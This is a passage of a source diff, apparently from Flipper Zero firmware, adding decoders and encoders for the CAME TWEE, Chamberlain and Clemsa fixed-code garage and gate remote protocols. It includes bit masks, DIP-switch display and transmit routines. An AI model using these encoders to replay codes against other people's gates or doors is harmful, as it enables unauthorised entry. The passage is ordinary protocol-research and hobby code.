return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_came_twee_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
subghz_protocol_came_twee_remote_controller(&instance->generic);
uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key:0x%lX%08lX\r\n"
"Btn:%X\r\n"
"DIP:" DIP_PATTERN "\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
code_found_hi,
code_found_lo,
instance->generic.btn,
CNT_TO_DIP(instance->generic.cnt));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_CAME_TWEE_NAME "CAME TWEE"
typedef struct SubGhzProtocolDecoderCameTwee SubGhzProtocolDecoderCameTwee;
typedef struct SubGhzProtocolEncoderCameTwee SubGhzProtocolEncoderCameTwee;
extern const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder;
extern const SubGhzProtocol subghz_protocol_came_twee;
/**
* Allocate SubGhzProtocolEncoderCameTwee.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderCameTwee* pointer to a SubGhzProtocolEncoderCameTwee instance
*/
void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderCameTwee.
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
*/
void subghz_protocol_encoder_came_twee_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
*/
void subghz_protocol_encoder_came_twee_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_came_twee_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderCameTwee.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderCameTwee* pointer to a SubGhzProtocolDecoderCameTwee instance
*/
void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderCameTwee.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
*/
void subghz_protocol_decoder_came_twee_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderCameTwee.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
*/
void subghz_protocol_decoder_came_twee_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderCameTwee.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderCameTwee.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
* @param output Resulting text
*/
void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output);
@@ -0,0 +1,505 @@
#include "chamberlain_code.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolChambCode"
#define CHAMBERLAIN_CODE_BIT_STOP 0b0001
#define CHAMBERLAIN_CODE_BIT_1 0b0011
#define CHAMBERLAIN_CODE_BIT_0 0b0111
#define CHAMBERLAIN_7_CODE_MASK 0xF000000FF0F
#define CHAMBERLAIN_8_CODE_MASK 0xF00000F00F
#define CHAMBERLAIN_9_CODE_MASK 0xF000000000F
#define CHAMBERLAIN_7_CODE_MASK_CHECK 0x10000001101
#define CHAMBERLAIN_8_CODE_MASK_CHECK 0x1000001001
#define CHAMBERLAIN_9_CODE_MASK_CHECK 0x10000000001
#define CHAMBERLAIN_7_CODE_DIP_PATTERN "%c%c%c%c%c%c%c"
#define CHAMBERLAIN_7_CODE_DATA_TO_DIP(dip) \
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
(dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
(dip & 0x0001 ? '1' : '0')
#define CHAMBERLAIN_8_CODE_DIP_PATTERN "%c%c%c%c%cx%c%c"
#define CHAMBERLAIN_8_CODE_DATA_TO_DIP(dip) \
(dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), \
(dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
(dip & 0x0002 ? '1' : '0')
#define CHAMBERLAIN_9_CODE_DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
#define CHAMBERLAIN_9_CODE_DATA_TO_DIP(dip) \
(dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
(dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), \
(dip & 0x0001 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), (dip & 0x0004 ? '1' : '0')
static const SubGhzBlockConst subghz_protocol_chamb_code_const = {
.te_short = 1000,
.te_long = 3000,
.te_delta = 200,
.min_count_bit_for_found = 10,
};
struct SubGhzProtocolDecoderChamb_Code {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderChamb_Code {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
Chamb_CodeDecoderStepReset = 0,
Chamb_CodeDecoderStepFoundStartBit,
Chamb_CodeDecoderStepSaveDuration,
Chamb_CodeDecoderStepCheckDuration,
} Chamb_CodeDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder = {
.alloc = subghz_protocol_decoder_chamb_code_alloc,
.free = subghz_protocol_decoder_chamb_code_free,
.feed = subghz_protocol_decoder_chamb_code_feed,
.reset = subghz_protocol_decoder_chamb_code_reset,
.get_hash_data = subghz_protocol_decoder_chamb_code_get_hash_data,
.serialize = subghz_protocol_decoder_chamb_code_serialize,
.deserialize = subghz_protocol_decoder_chamb_code_deserialize,
.get_string = subghz_protocol_decoder_chamb_code_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder = {
.alloc = subghz_protocol_encoder_chamb_code_alloc,
.free = subghz_protocol_encoder_chamb_code_free,
.deserialize = subghz_protocol_encoder_chamb_code_deserialize,
.stop = subghz_protocol_encoder_chamb_code_stop,
.yield = subghz_protocol_encoder_chamb_code_yield,
};
const SubGhzProtocol subghz_protocol_chamb_code = {
.name = SUBGHZ_PROTOCOL_CHAMB_CODE_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_chamb_code_decoder,
.encoder = &subghz_protocol_chamb_code_encoder,
};
void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolEncoderChamb_Code));
instance->base.protocol = &subghz_protocol_chamb_code;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 24;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_chamb_code_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderChamb_Code* instance = context;
free(instance->encoder.upload);
free(instance);
}
static uint64_t subghz_protocol_chamb_bit_to_code(uint64_t data, uint8_t size) {
uint64_t data_res = 0;
for(uint8_t i = 0; i < size; i++) {
if(!(bit_read(data, size - i - 1))) {
data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_0;
} else {
data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_1;
}
}
return data_res;
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderChamb_Code instance
* @return true On success
*/
static bool
subghz_protocol_encoder_chamb_code_get_upload(SubGhzProtocolEncoderChamb_Code* instance) {
furi_assert(instance);
uint64_t data = subghz_protocol_chamb_bit_to_code(
instance->generic.data, instance->generic.data_count_bit);
switch(instance->generic.data_count_bit) {
case 7:
data = ((data >> 4) << 16) | (data & 0xF) << 4 | CHAMBERLAIN_7_CODE_MASK_CHECK;
break;
case 8:
data = ((data >> 12) << 16) | (data & 0xFF) << 4 | CHAMBERLAIN_8_CODE_MASK_CHECK;
break;
case 9:
data = (data << 4) | CHAMBERLAIN_9_CODE_MASK_CHECK;
break;
default:
FURI_LOG_E(TAG, "Invalid bits count");
return false;
break;
}
#define UPLOAD_HEX_DATA_SIZE 10
uint8_t upload_hex_data[UPLOAD_HEX_DATA_SIZE] = {0};
size_t upload_hex_count_bit = 0;
//insert guard time
for(uint8_t i = 0; i < 36; i++) {
subghz_protocol_blocks_set_bit_array(
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
}
//insert data
switch(instance->generic.data_count_bit) {
case 7:
case 9:
for(uint8_t i = 44; i > 0; i--) {
if(!bit_read(data, i - 1)) {
subghz_protocol_blocks_set_bit_array(
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
} else {
subghz_protocol_blocks_set_bit_array(
1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
}
}
break;
case 8:
for(uint8_t i = 40; i > 0; i--) {
if(!bit_read(data, i - 1)) {
subghz_protocol_blocks_set_bit_array(
0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
} else {
subghz_protocol_blocks_set_bit_array(
1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
}
}
break;
}
instance->encoder.size_upload = subghz_protocol_blocks_get_upload_from_bit_array(
upload_hex_data,
upload_hex_count_bit,
instance->encoder.upload,
instance->encoder.size_upload,
subghz_protocol_chamb_code_const.te_short,
SubGhzProtocolBlockAlignBitLeft);
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderChamb_Code* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(instance->generic.data_count_bit >
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_chamb_code_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_chamb_code_stop(void* context) {
SubGhzProtocolEncoderChamb_Code* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context) {
SubGhzProtocolEncoderChamb_Code* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolDecoderChamb_Code));
instance->base.protocol = &subghz_protocol_chamb_code;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_chamb_code_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
free(instance);
}
void subghz_protocol_decoder_chamb_code_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
}
static bool subghz_protocol_chamb_code_to_bit(uint64_t* data, uint8_t size) {
uint64_t data_tmp = data[0];
uint64_t data_res = 0;
for(uint8_t i = 0; i < size; i++) {
if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_0) {
bit_write(data_res, i, 0);
} else if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_1) {
bit_write(data_res, i, 1);
} else {
return false;
}
data_tmp >>= 4;
}
data[0] = data_res;
return true;
}
static bool subghz_protocol_decoder_chamb_code_check_mask_and_parse(
SubGhzProtocolDecoderChamb_Code* instance) {
furi_assert(instance);
if(instance->decoder.decode_count_bit >
subghz_protocol_chamb_code_const.min_count_bit_for_found + 1)
return false;
if((instance->decoder.decode_data & CHAMBERLAIN_7_CODE_MASK) ==
CHAMBERLAIN_7_CODE_MASK_CHECK) {
instance->decoder.decode_count_bit = 7;
instance->decoder.decode_data &= ~CHAMBERLAIN_7_CODE_MASK;
instance->decoder.decode_data = (instance->decoder.decode_data >> 12) |
((instance->decoder.decode_data >> 4) & 0xF);
} else if(
(instance->decoder.decode_data & CHAMBERLAIN_8_CODE_MASK) ==
CHAMBERLAIN_8_CODE_MASK_CHECK) {
instance->decoder.decode_count_bit = 8;
instance->decoder.decode_data &= ~CHAMBERLAIN_8_CODE_MASK;
instance->decoder.decode_data = instance->decoder.decode_data >> 4 |
CHAMBERLAIN_CODE_BIT_0 << 8; //DIP 6 no use
} else if(
(instance->decoder.decode_data & CHAMBERLAIN_9_CODE_MASK) ==
CHAMBERLAIN_9_CODE_MASK_CHECK) {
instance->decoder.decode_count_bit = 9;
instance->decoder.decode_data &= ~CHAMBERLAIN_9_CODE_MASK;
instance->decoder.decode_data >>= 4;
} else {
return false;
}
return subghz_protocol_chamb_code_to_bit(
&instance->decoder.decode_data, instance->decoder.decode_count_bit);
}
void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
switch(instance->decoder.parser_step) {
case Chamb_CodeDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 39) <
subghz_protocol_chamb_code_const.te_delta * 20)) {
//Found header Chamb_Code
instance->decoder.parser_step = Chamb_CodeDecoderStepFoundStartBit;
}
break;
case Chamb_CodeDecoderStepFoundStartBit:
if((level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
subghz_protocol_chamb_code_const.te_delta)) {
//Found start bit Chamb_Code
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
CHAMBERLAIN_CODE_BIT_STOP;
instance->decoder.decode_count_bit++;
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
}
break;
case Chamb_CodeDecoderStepSaveDuration:
if(!level) { //save interval
if(duration > subghz_protocol_chamb_code_const.te_short * 5) {
if(instance->decoder.decode_count_bit >=
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
instance->generic.serial = 0x0;
instance->generic.btn = 0x0;
if(subghz_protocol_decoder_chamb_code_check_mask_and_parse(instance)) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
}
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = Chamb_CodeDecoderStepCheckDuration;
}
} else {
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
}
break;
case Chamb_CodeDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF( //Found stop bit Chamb_Code
instance->decoder.te_last,
subghz_protocol_chamb_code_const.te_short * 3) <
subghz_protocol_chamb_code_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
subghz_protocol_chamb_code_const.te_delta)) {
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
CHAMBERLAIN_CODE_BIT_STOP;
instance->decoder.decode_count_bit++;
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short * 2) <
subghz_protocol_chamb_code_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 2) <
subghz_protocol_chamb_code_const.te_delta)) {
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
CHAMBERLAIN_CODE_BIT_1;
instance->decoder.decode_count_bit++;
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short) <
subghz_protocol_chamb_code_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 3) <
subghz_protocol_chamb_code_const.te_delta)) {
instance->decoder.decode_data = instance->decoder.decode_data << 4 |
CHAMBERLAIN_CODE_BIT_0;
instance->decoder.decode_count_bit++;
instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
}
} else {
instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(instance->generic.data_count_bit >
subghz_protocol_chamb_code_const.min_count_bit_for_found) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
} while(false);
return ret;
}
void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderChamb_Code* instance = context;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
instance->generic.data, instance->generic.data_count_bit);
uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key:0x%03lX\r\n"
"Yek:0x%03lX\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
code_found_lo,
code_found_reverse_lo);
switch(instance->generic.data_count_bit) {
case 7:
furi_string_cat_printf(
output,
"DIP:" CHAMBERLAIN_7_CODE_DIP_PATTERN "\r\n",
CHAMBERLAIN_7_CODE_DATA_TO_DIP(code_found_lo));
break;
case 8:
furi_string_cat_printf(
output,
"DIP:" CHAMBERLAIN_8_CODE_DIP_PATTERN "\r\n",
CHAMBERLAIN_8_CODE_DATA_TO_DIP(code_found_lo));
break;
case 9:
furi_string_cat_printf(
output,
"DIP:" CHAMBERLAIN_9_CODE_DIP_PATTERN "\r\n",
CHAMBERLAIN_9_CODE_DATA_TO_DIP(code_found_lo));
break;
default:
break;
}
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_CHAMB_CODE_NAME "Cham_Code"
typedef struct SubGhzProtocolDecoderChamb_Code SubGhzProtocolDecoderChamb_Code;
typedef struct SubGhzProtocolEncoderChamb_Code SubGhzProtocolEncoderChamb_Code;
extern const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder;
extern const SubGhzProtocol subghz_protocol_chamb_code;
/**
* Allocate SubGhzProtocolEncoderChamb_Code.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderChamb_Code* pointer to a SubGhzProtocolEncoderChamb_Code instance
*/
void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderChamb_Code.
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
*/
void subghz_protocol_encoder_chamb_code_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
*/
void subghz_protocol_encoder_chamb_code_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderChamb_Code.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderChamb_Code* pointer to a SubGhzProtocolDecoderChamb_Code instance
*/
void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderChamb_Code.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
*/
void subghz_protocol_decoder_chamb_code_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderChamb_Code.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
*/
void subghz_protocol_decoder_chamb_code_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderChamb_Code.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderChamb_Code.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
* @param output Resulting text
*/
void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output);
@@ -0,0 +1,362 @@
#include "clemsa.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
// protocol BERNER / ELKA / TEDSEN / TELETASTER
#define TAG "SubGhzProtocolClemsa"
#define DIP_P 0b11 //(+)
#define DIP_O 0b10 //(0)
#define DIP_N 0b00 //(-)
#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
#define SHOW_DIP_P(dip, check_dip) \
((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
static const SubGhzBlockConst subghz_protocol_clemsa_const = {
.te_short = 385,
.te_long = 2695,
.te_delta = 150,
.min_count_bit_for_found = 18,
};
struct SubGhzProtocolDecoderClemsa {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderClemsa {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
ClemsaDecoderStepReset = 0,
ClemsaDecoderStepSaveDuration,
ClemsaDecoderStepCheckDuration,
} ClemsaDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder = {
.alloc = subghz_protocol_decoder_clemsa_alloc,
.free = subghz_protocol_decoder_clemsa_free,
.feed = subghz_protocol_decoder_clemsa_feed,
.reset = subghz_protocol_decoder_clemsa_reset,
.get_hash_data = subghz_protocol_decoder_clemsa_get_hash_data,
.serialize = subghz_protocol_decoder_clemsa_serialize,
.deserialize = subghz_protocol_decoder_clemsa_deserialize,
.get_string = subghz_protocol_decoder_clemsa_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder = {
.alloc = subghz_protocol_encoder_clemsa_alloc,
.free = subghz_protocol_encoder_clemsa_free,
.deserialize = subghz_protocol_encoder_clemsa_deserialize,
.stop = subghz_protocol_encoder_clemsa_stop,
.yield = subghz_protocol_encoder_clemsa_yield,
};
const SubGhzProtocol subghz_protocol_clemsa = {
.name = SUBGHZ_PROTOCOL_CLEMSA_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_clemsa_decoder,
.encoder = &subghz_protocol_clemsa_encoder,
};
void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderClemsa* instance = malloc(sizeof(SubGhzProtocolEncoderClemsa));
instance->base.protocol = &subghz_protocol_clemsa;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 52;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_clemsa_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderClemsa* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderClemsa instance
* @return true On success
*/
static bool subghz_protocol_encoder_clemsa_get_upload(SubGhzProtocolEncoderClemsa* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2);
if(size_upload > instance->encoder.size_upload) {
